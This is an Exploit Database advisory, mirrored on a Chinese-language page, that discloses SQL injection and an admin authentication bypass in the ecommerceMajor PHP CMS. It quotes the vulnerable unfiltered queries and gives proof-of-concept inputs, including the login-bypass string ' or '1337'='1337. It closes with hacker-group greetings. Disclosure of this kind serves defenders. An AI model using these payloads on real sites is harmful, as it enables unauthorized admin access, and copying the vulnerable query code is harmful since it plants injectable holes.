ecommerceMajor – SQL Injection / Authentication Bypass

• Exploit Database
• 13 阅读

• 作者： Manish Tanwar
  日期： 2015-01-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35878/

• ##################################################################################################
  #Exploit Title : ecommercemajor ecommerce CMS SQL Injection and Authentication bypass
  #Author: Manish Kishan Tanwar
  #Home page Link : https://github.com/xlinkerz/ecommerceMajor
  #Date: 22/01/2015
  #Discovered at : IndiShell Lab
  #Love to: zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti,Kishan Singh and ritu rathi
  #email: manish.1046@gmail.com
  ##################################################################################################
  
  ////////////////////////
  /// Overview:
  ////////////////////////
  
  ecommercemajor is the php based CMS for ecommerce portal
  
  ///////////////////////////////
  // Vulnerability Description:
  ///////////////////////////////
  
  SQL injection vulnerability:-
  ============================== 
  in file product.php data from GET parameter 'productbycat' is not getting filter before passing into SQL query and hence rising SQL Injection vulnerability
  ---------------------
  $getallproduct="select * from purchase where status='enable' and catid=$_GET[productbycat] order by id desc";
  ---------------------
  POC
  
  http://127.0.0.1/ecommercemajor/product.php?productbycat=SQLI
  
  
  Authentication Bypass:-
  ============================== 
  file index.php under directory __admin has SQL injection vulnerability
  parameter username and password suppliedin post parameter for checking valid admin username and password is not getting filter before passing into SQL query which arise authentication bypass issue.
  vulnerable code is 
  -------------------
  	if(isset($_POST[login]))
  		{
  $check="select * from adminlogin where username='$_POST[username]' and password='$_POST[username]'";
  			$checkresult=mysql_query($check);
  			$checkcount=mysql_num_rows($checkresult);
  			if($checkcount>0)
  				{	
  					$checkrow=mysql_fetch_array($checkresult);
  					$_SESSION[adminname]=$checkrow[adminname];
  					$_SESSION[adminloginstatus]="success";
  					echo "<script>window.location='home.php';</script>";
  				}
  --------------------
  POC
  
  open admin panel 
  http://127.0.0.1/ecommercemajor/__admin/
  username: ' or '1337'='1337
  password: ' or '1337'='1337
  
  
  
   --==[[ Greetz To ]]==--
  ############################################################################################
  #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
  #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
  #Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
  #Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Das
  #############################################################################################
   --==[[Love to]]==--
  #Kishan Tanwar,Mrs. Ritu Rathi,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
  #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik)
   --==[[ Special Fuck goes to ]]==--
  <3suriya Cyber Tyson <3